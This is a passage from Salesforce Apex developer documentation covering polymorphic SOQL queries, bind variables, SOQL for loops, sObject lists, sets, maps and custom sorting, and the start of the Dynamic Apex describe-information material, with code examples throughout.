List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN
Amount END FROM Event];

These queries return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}

Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example
1. Queries for User or Group owners of Merchandise__c custom objects using a SOQL query with a TYPEOF clause
2. Uses instanceof to determine the owner type
3. Assigns the owner objects to User or Group type variables before passing them to utility methods
public class PolymorphismExampleClass {

// Utility method for a User

public static void processUser(User theUser) {
System.debug('Processed User');
}

// Utility method for a Group

public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}

public static void processOwnersOfMerchandise() {

// Select records based on the Owner polymorphic relationship field
List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);

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} else if (merch.Owner instanceof Group) {

Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}

Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they’re preceded by a colon (:). This use of a
local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context
before executing the SOQL or SOSL statement. Bind expressions can be used as:
• The search string in FIND clauses.
• The filter literals in WHERE clauses.
• The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of
particular use with a list of IDs or Strings, though it works with lists of any type.
• The division names in WITH DIVISION clauses.
• The numeric value in LIMIT clauses.
• The numeric value in OFFSET clauses.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;

// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];

// A bind with arithmetic

B = [SELECT Id FROM Account
WHERE Name = :('x' + 'xx')];

String s = 'XXX';

// A bind with expressions

B = [SELECT Id FROM Account
WHERE Name = :'XXXX'.substring(0,3)];

// A bind with INCLUDES clause

B = [SELECT Id FROM Account WHERE :A.TYPE INCLUDES (‘Customer – Direct; Customer –
Channel’)];

// A bind with an expression that is itself a query result

B = [SELECT Id FROM Account
WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];

Contact C = new Contact(LastName='xxx', AccountId=A.Id);

insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};

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// Binds in both the parent and aggregate queries

B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];

// One contact returned

Contact D = B.Contacts;

// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];

// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];

// An IN-bind with an Id list. Note that a list of sObjects

// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];

// An IN-bind with a String list

String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];

// A SOSL query with binds in all possible clauses

String myString1 = 'aaa';

String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS

RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
WITH DIVISION =:myString4
LIMIT :myInt5];

Note: Apex bind variables aren’t supported for the units parameter in the DISTANCE function. This query doesn’t work.

String units = 'mi';

List<Account> accountList =
[SELECT ID, Name, BillingLatitude, BillingLongitude

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FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];

Querying All Records with a SOQL Statement

SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived
activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);

You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.

SOQL For Loops

SOQL for loops iterate over all of the sObject records returned by a SOQL query.
The syntax of a SOQL for loop is either:

for (variable : [soql_query]) {

code_block
}

or

for (variable_list : [soql_query]) {

code_block
}

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}

The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];

// Loop through the list and update the Name field

for(Account a : accs){
a.Name = 'Oracle';
}

// Update the database

update accs;

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SOQL For Loops Versus Standard SOQL Queries

SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of SOAP API. Developers can avoid the limit
on heap size by using a SOQL for loop to process query results that return multiple records. However, this approach can result in more
CPU cycles being used. See Total heap size.
Queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing an
aggregate function that returns more than 2,000 rows in a for loop.
For fine-grained control over the results of a SOQL query, consider using Apex cursors. See Apex Cursors.

SOQL For Loop Formats

SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
• The single sObject format executes the for loop's <code_block> one time per sObject record. Consequently, it’s easy to
understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop
body. Each DML statement ends up processing only one sObject at a time.
• The sObject list format executes the for loop's <code_block> one time per list of 200 sObjects. Consequently, it’s a little more
difficult to understand and use, but is the optimal choice if you must use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();

insert new Account[]{new Account(Name = 'yyy'),

new Account(Name = 'yyy'),
new Account(Name = 'yyy')};

// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times

// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
}
System.assert(j == 3); // The lt should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
// only three records should have been returned, the
// loop should have executed only once

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// Revert the database to the original state

Database.rollback(sp);

Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
• DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you’re inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it’s possible to encounter runtime limit’s errors. See Execution Governors and Limits.
• You may get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
// Note: If JSON.serialize() is used here on acct, the resulting JSON won't have
the complete set of Contacts
}

To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}

In this example, if JSON.serialize() is used on acct, only the records that have been retrieved so far will be returned
and serialized. Because the Apex SOQL for-loop mechanism is designed to minimize the amount of heap usage by keeping
only a subset of the record data in memory, the complete sObject and any subquery sObjects will not be available to obtain
complete serialization.

sObject Collections
You can manage sObjects in lists, sets, and maps.

Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
Sorting Lists of sObjects
Using the List.sort method, you can sort lists of sObjects.
Expanding sObject and List Expressions

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Sets of Objects
Sets can contain sObjects among other types of elements.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.

Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();

Auto-populating a List from a SOQL Query

You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure that the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject
data type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

Adding and Retrieving List Elements

As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a); // Add the account sObject
Account a2 = myList.get(0); // Retrieve the element at index 0

Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Account(Name='Account1');
Account a2 = new Account(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;

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Note: If you perform a bulk insert of Knowledge article versions, make the ownerId of all records the same.

Record ID Generation
Apex automatically generates IDs for each object in an sObject list that was inserted or upserted using DML. Therefore, a list that contains
more than one instance of an sObject cannot be inserted or upserted even if it has a null ID. This situation would imply that two IDs
would need to be written to the same structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {

// Create a list with two references to the same sObject element

Account a = new Account();
List<Account> accs = new List<Account>{a, a};

// Attempt to insert it...

insert accs;

// Will not get here

System.assert(false);
} catch (ListException e) {
// But will get here
}

Using Array Notation for One-Dimensional Lists of sObjects

Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
This example declares a list of accounts using the array notation.
Account[] accts = new Account[1];

This example adds an element to the list using square brackets.

accts[0] = new Account(Name='Acme2');

These examples also use the array notation with sObject lists.

Example Description
Defines an Account list with no elements.
List<Account> accts = new Account[]{};

Defines an Account list with memory allocated for three Accounts:

List<Account> accts = new Account[]
a new Account object in the first position, null in the second,
{new Account(), null, new
Account()}; and another new Account object in the third.

Defines the Contact list with a new list.

List<Contact> contacts = new List<Contact>

(otherList);

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Sorting Lists of sObjects

Using the List.sort method, you can sort lists of sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. You can create a custom
sort order for sObjects by wrapping your sObject in an Apex class that implements the Comparable interface. You can also create a
custom sort order by passing a class that implements Comparator as a parameter to the sort method. See Custom Sort Order of
sObjects.

Default Sort Order of sObjects

The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
For example, an Account sObject appears before a Contact.

2. The Name field, if applicable.

For example, if the list contains two accounts named Alpha and Beta, account Alpha comes before account Beta.

3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.

4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.

Not all steps in this sequence are necessarily carried out. For example, a list containing two sObjects of the same type and with unique
Name values is sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject doesn’t
have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
Here’s an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);

acctList.sort();
Assert.areEqual('Acme', acctList[0].Name);
Assert.areEqual('sForce', acctList[1].Name);

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Assert.areEqual('Agriculture', acctList[1].Industry);
Assert.areEqual('sForce', acctList[2].Name);
Assert.areEqual('Biotechnology', acctList[2].Industry);
System.debug(acctList);

This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Because there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items. The Description field is used for sorting
because it comes before the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);

merchList.sort();
Assert.areEqual('Notebooks', merchList[0].Name);
Assert.areEqual('Pens', merchList[1].Name);
Assert.areEqual('Blue pens', merchList[1].Description__c);
Assert.areEqual('Pens', merchList[2].Name);
Assert.areEqual('Red pens', merchList[2].Description__c);
System.debug(merchList);

Custom Sort Order of sObjects

To create a custom sort order for sObjects in lists, implement the Comparator interface and pass it as a parameter to the List.sort
method.
Alternatively, create a wrapper class for the sObject and implement the Comparable interface. The wrapper class contains the sObject
in question and implements the Comparable.compareTo method in which you specify the sort logic.

Example: This example implements the Comparator interface to compare two opportunities based on the Amount field.
public class OpportunityComparator implements Comparator<Opportunity> {
public Integer compare(Opportunity o1, Opportunity o2) {
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;

if(o1 == null && o2 == null) {

returnValue = 0;
} else if(o1 == null) {
// nulls-first implementation

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returnValue = -1;
} else if(o2 == null) {
// nulls-first implementation
returnValue = 1;
} else if ((o1.Amount == null) && (o2.Amount == null)) {
// both have null Amounts
returnValue = 0;
} else if (o1.Amount == null){
// nulls-first implementation
returnValue = -1;
} else if (o2.Amount == null){
// nulls-first implementation
returnValue = 1;
} else if (o1.Amount < o2.Amount) {
// Set return value to a negative value.
returnValue = -1;
} else if (o1.Amount > o2.Amount) {
// Set return value to a positive value.
returnValue = 1;
}
return returnValue;
}
}

This test sorts a list of Comparator objects and verifies that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityComparator_Test {

@isTest
static void sortViaComparator() {
// Add the opportunity wrapper objects to a list.
List<Opportunity> oppyList = new List<Opportunity>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000));
oppyList.add( new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000));
oppyList.add( new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000));
oppyList.add(null);

// Sort the objects using the Comparator implementation

oppyList.sort(new OpportunityComparator());
// Verify the sort order
Assert.isNull(oppyList[0]);

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Assert.areEqual('Grand Hotels SLA', oppyList[1].Name);

Assert.areEqual(25000, oppyList[1].Amount);
Assert.areEqual('Edge Installation', oppyList[2].Name);
Assert.areEqual(50000, oppyList[2].Amount);
Assert.areEqual('United Oil Installations', oppyList[3].Name);
Assert.areEqual(100000, oppyList[3].Amount);
// Write the sorted list contents to the debug log.
System.debug(oppyList);
}
}

Example: This example shows how to create a wrapper Comparable class for Opportunity. The implementation of the
compareTo method in this class compares two opportunities based on the Amount field—the class member variable contained
in this instance, and the opportunity object passed into the method.
public class OpportunityWrapper implements Comparable {

public Opportunity oppy;

// Constructor
public OpportunityWrapper(Opportunity op) {
// Guard against wrapping a null
if(op == null) {
Exception ex = new NullPointerException();
ex.setMessage('Opportunity argument cannot be null');
throw ex;
}
oppy = op;
}

// Compare opportunities based on the opportunity amount.

public Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;

// The return value of 0 indicates that both elements are equal.

Integer returnValue = 0;
if ((oppy.Amount == null) && (compareToOppy.oppy.Amount == null)) {
// both wrappers have null Amounts
returnValue = 0;
} else if ((oppy.Amount == null) && (compareToOppy.oppy.Amount != null)){
// nulls-first implementation
returnValue = -1;
} else if ((oppy.Amount != null) && (compareToOppy.oppy.Amount == null)){
// nulls-first implementation
returnValue = 1;
} else if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
} else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;

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}
}

This test sorts a list of OpportunityWrapper objects and verifies that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));

// Sort the wrapper objects using the implementation of the

// compareTo method.
oppyList.sort();

// Verify the sort order

Assert.areEqual('Grand Hotels SLA', oppyList[0].oppy.Name);
Assert.areEqual(25000, oppyList[0].oppy.Amount);
Assert.areEqual('Edge Installation', oppyList[1].oppy.Name);
Assert.areEqual(50000, oppyList[1].oppy.Amount);
Assert.areEqual('United Oil Installations', oppyList[2].oppy.Name);
Assert.areEqual(100000, oppyList[2].oppy.Amount);

// Write the sorted list contents to the debug log.

System.debug(oppyList);
}
}

SEE ALSO:
Apex Reference Guide: Collator Class
Apex Reference Guide: Comparable Interface
Apex Reference Guide: Comparator Interface

Expanding sObject and List Expressions

As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.

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In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

In the above, new Account[] generates a list.

The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().

String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');

// Add both accounts to the new set

Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set only contains one item

System.assertEquals(accountSet.size(), 1);

If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');

// Add both accounts to the new set

Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set contains two items

System.assertEquals(accountSet.size(), 2);

Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.

Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.

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Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();

As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

Maps allow sObjects in their keys. You must use sObjects in the keys only when the sObject field values won’t change.

Auto-Populating Map Entries from a SOQL Query

When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key must be declared
with an ID or String data type, and the map value must be declared as an sObject data type.
This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}

One common usage of this map type is for in-memory “joins” between two tables.

Note: RecentlyViewed records for users who are members of several communities can’t be retrieved automatically into a map
via Apex. This is because records of a user with different networks can result in duplicate IDs that maps don’t support. For more
information, see RecentlyViewed.

Using Map Methods

The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account(); //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct); // Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1); // Retrieve a value, given a particular key
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map

sObject Map Considerations

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sObject Map Considerations

Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};

// Get a1's value from the map.

// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);

// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);

// Get a1's value from the map again.

// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));

Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.

Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
• Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.

• Access Salesforce app information

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You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.

• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from AppExchange.

1. Understanding Apex Describe Information

2. Using Field Tokens
3. Understanding Describe Information Permissions
4. Describing sObjects Using Schema Method
5. Describing Tabs Using Schema Methods
6. Accessing All sObjects
7. Accessing All Data Categories Associated with an sObject
8. Dynamic SOQL
9. Dynamic SOSL
10. Dynamic DML

Understanding Apex Describe Information

You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
• Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
• The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
• Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.

Describing sObjects Using Tokens

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.

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The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();

// Verify that the generic sObject is an Account sObject

System.assert(s.getsObjectType() == Account.sObjectType);

// Get the sObject describe result for the Account object

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the field describe result from the token

dfr = dfr.getSObjectField().getDescribe();

The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.

Using sObject Tokens

SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
• Access the sObjectType member variable on an sObject type, such as Account.
• Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.
In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;

The following also returns a token for the Account sObject:

Account a = new Account();
Schema.sObjectType t = a.getSObjectType();

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');

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// Verify if that sObject variable is an Account token

System.assertEquals(s.getSObjectType(), Account.sObjectType);

// Create a list of generic sObjects

List<sObject> sobjList = new Account[]{};

// Verify if the list of sObjects contains Account tokens

System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.

Obtaining sObject Describe Results Using Tokens

To access the describe result for an sObject, use one of the following methods:
• Call the getDescribe method on an sObject token.
• Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.
The following example uses the getDescribe method on an sObject token:
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;

For more information about the methods available with the sObject describe result, see DescribeSObjectResultClass.

SEE ALSO:
DescribeSObjectResult.fields()
DescribeSObjectResult.fieldsets()

Using Field Tokens

To access the token for a field, use one of the following methods:
• Access the static member variable name of an sObject static type, for example, Account.Name.
• Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;

In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
